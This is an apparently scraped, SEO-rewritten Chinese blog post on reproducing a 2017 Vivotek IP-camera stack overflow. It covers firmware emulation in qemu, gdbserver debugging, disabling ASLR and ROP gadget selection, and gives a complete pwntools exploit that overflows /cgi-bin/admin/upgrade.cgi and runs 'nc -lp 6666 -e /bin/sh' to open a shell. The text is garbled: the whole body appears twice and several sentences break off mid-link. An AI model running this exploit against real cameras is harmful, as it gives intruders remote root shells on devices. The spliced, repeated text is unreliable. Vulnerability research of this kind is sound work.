Vivotek栈溢出漏洞如何通过长尾词进行复现?

2026-04-11 08:021阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计1276个文字,预计阅读时间需要6分钟。

Vivotek栈溢出漏洞如何通过长尾词进行复现?

近期公司采购了一批摄像头,此前尚未有相关研究机构进行此类研究。我们找到了一台2017年的Vivotek摄像头,其支架存在漏洞,用来练习手艺。仍感觉,实现IoT最难的步骤要么是复现IoT最复杂的步骤,要么是环境搭建。在gdbserver那里卡住了很久。

近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错... 一、前言

​ 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。

二、固件仿真

​ 虚拟机环境:Ubuntu 20.04

​ gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

​ 固件下载地址:github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip

​ 从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。

​ 从arm-debian的qemu镜像地址下载如下三个文件

people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile

people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile

people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2

​ 在本地新建一张网卡用于和qemu虚拟机通信

sudo tunctl -t tap0 -u `whoami`

sudo ifconfig tap0 192.168.2.1/24

​ 启动qemu虚拟机镜像

qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

​ 启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了

ifconfig eth0 192.168.2.2/24

​ 接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。

mount -o bind /dev ./squashfs-root/dev

mount -t proc /proc/ ./squashfs-root/proc/

​ 最后切换到固件的文件系统中,并运行漏洞文件

chroot squashfs-root sh

./usr/sbin/bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。

​ github地址:github.com/AmaIIl/gdbserver-static-9.2-arm

​ 有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示

./gdbserver-static 127.0.0.1:1234 --attach <server pid>

​ 然后写一个gdbinit把重复的命令写进去方便调试

# gdb-multiarch -x gdbinit

file ./usr/sbin/httpd

set architecture arm

target remote 192.168.2.2:1234

​ 我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。

sudo sysctl -w kernel.randomize_va_space=0

​ 通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget

0x00048784: pop {r1, pc};

0x00016aa4: mov r0, r1; pop {r4, r5, pc};

exp如下所示

from pwn import *

context.log_level = 'debug'

r = lambda : p.recv()

rx = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x)

rud = lambda x: p.recvuntil(x, drop=True)

s = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x, y: p.sendafter(x, y)

sla = lambda x, y: p.sendlineafter(x, y)

close = lambda : p.close()

debug = lambda : gdb.attach(p)

shell = lambda : p.interactive()

p = remote('192.168.2.2', 80)

libc = ELF('./squashfs-root/lib/libc.so.0')

stack = 0xbeffeb64

base = 0xb6f2d000

system = base+libc.sym['system']

pop_r1_pc = 0x00048784+base

mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};

head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"

Vivotek栈溢出漏洞如何通过长尾词进行复现?

payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)

end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'

sl(head+payload+end)

shell()

脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell

五、总结

​ 还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。

更多靶场实验练习、网安学习资料,请点击这里>>

搜索

复制

合天智汇:合天网络靶场、网安实战虚拟环境

本文共计1276个文字,预计阅读时间需要6分钟。

Vivotek栈溢出漏洞如何通过长尾词进行复现?

近期公司采购了一批摄像头,此前尚未有相关研究机构进行此类研究。我们找到了一台2017年的Vivotek摄像头,其支架存在漏洞,用来练习手艺。仍感觉,实现IoT最难的步骤要么是复现IoT最复杂的步骤,要么是环境搭建。在gdbserver那里卡住了很久。

近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错... 一、前言

​ 近日公司进了一批摄像头,以前还没有做过这方面的研究所以找了一个vivotek 2017年的栈溢出漏洞拿来练练手。

二、固件仿真

​ 虚拟机环境:Ubuntu 20.04

​ gdb版本:GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2

​ 固件下载地址:github.com/mcw0/PoC/files/3128058/CC8160-VVTK-0100d.flash.zip

​ 从上面的地址下载还有漏洞的固件,使用binwalk分离出来文件系统,发现问题文件xz.aliyun.com/t/5054#toc-2)师傅的这篇文章整理得到。

​ 从arm-debian的qemu镜像地址下载如下三个文件

people.debian.org/~aurel32/qemu/armel/vmlinuz-3.2.0-4-versatile

people.debian.org/~aurel32/qemu/armel/initrd.img-3.2.0-4-versatile

people.debian.org/~aurel32/qemu/armel/debian_wheezy_armel_standard.qcow2

​ 在本地新建一张网卡用于和qemu虚拟机通信

sudo tunctl -t tap0 -u `whoami`

sudo ifconfig tap0 192.168.2.1/24

​ 启动qemu虚拟机镜像

qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

​ 启动成功后会让你输入用户名密码,默认用户名/密码:root/root,然后在qemu虚拟机中配置网卡信息,这样qemu虚拟机就可以和本地进行通信了

ifconfig eth0 192.168.2.2/24

​ 接下来使用ftp把固件的文件系统get到qemu虚拟机中,此时我们就可以挂载/dev和/proc了。

mount -o bind /dev ./squashfs-root/dev

mount -t proc /proc/ ./squashfs-root/proc/

​ 最后切换到固件的文件系统中,并运行漏洞文件

chroot squashfs-root sh

./usr/sbin/bbs.pediy.com/thread-220907.htm)中找到了答案,按照上面的步骤我编译了一份与我本地gdb版本相同的gdbserver-static,文件上传到github上了有需要的师傅可以自行下载。

​ github地址:github.com/AmaIIl/gdbserver-static-9.2-arm

​ 有了对应版本的gdbserver就可以开始远程调试了,具体命令如下所示

./gdbserver-static 127.0.0.1:1234 --attach <server pid>

​ 然后写一个gdbinit把重复的命令写进去方便调试

# gdb-multiarch -x gdbinit

file ./usr/sbin/httpd

set architecture arm

target remote 192.168.2.2:1234

​ 我们将断点下在函数退栈的位置,然后计算其与输入地址的差值就可以得到溢出偏移。为了降低利用难度这里关闭qemu虚拟机的aslr保护,可以节省几步内存泄露的步骤。

sudo sysctl -w kernel.randomize_va_space=0

​ 通过动调我们可以得到需要的所有条件:溢出偏移、栈地址、libc地址。但是要构造ROP还需要一些gadget,使用ropper搜索我们需要的gadget,最终我们需要构造的就是system("XXX")的效果,所以需要能控制pc和r0寄存器的gadget,同时因为程序漏洞使用strncpy函数所以gadget中不能含有零字符,所以最终选择了这两段gadget

0x00048784: pop {r1, pc};

0x00016aa4: mov r0, r1; pop {r4, r5, pc};

exp如下所示

from pwn import *

context.log_level = 'debug'

r = lambda : p.recv()

rx = lambda x: p.recv(x)

ru = lambda x: p.recvuntil(x)

rud = lambda x: p.recvuntil(x, drop=True)

s = lambda x: p.send(x)

sl = lambda x: p.sendline(x)

sa = lambda x, y: p.sendafter(x, y)

sla = lambda x, y: p.sendlineafter(x, y)

close = lambda : p.close()

debug = lambda : gdb.attach(p)

shell = lambda : p.interactive()

p = remote('192.168.2.2', 80)

libc = ELF('./squashfs-root/lib/libc.so.0')

stack = 0xbeffeb64

base = 0xb6f2d000

system = base+libc.sym['system']

pop_r1_pc = 0x00048784+base

mov_r0_r1 = 0x00016aa4+base # mov r0, r1; pop {r4, r5, pc};

head = "POST /cgi-bin/admin/upgrade.cgi HTTP/1.0\nContent-Length:"

Vivotek栈溢出漏洞如何通过长尾词进行复现?

payload = 'b'*(0x00003c-8)+p32(pop_r1_pc)+p32(stack)+p32(mov_r0_r1)+'b'*8+p32(system)

end = 'nc -lp 6666 -e /bin/sh;'+'\r\n\r\n'

sl(head+payload+end)

shell()

脚本执行成功后会开启6666端口,这时只要用nc远程连接即可getshell

五、总结

​ 还是那个感觉,复现iot最难的步骤还是环境搭建。在gdbserver那里卡住了很久,本地编译也是各种报错,不过好在最后都一一解决了。2017年的这个栈溢出漏洞整体利用难度不算高,感兴趣的师傅们可以动手试着复现一下。

更多靶场实验练习、网安学习资料,请点击这里>>

搜索

复制

合天智汇:合天网络靶场、网安实战虚拟环境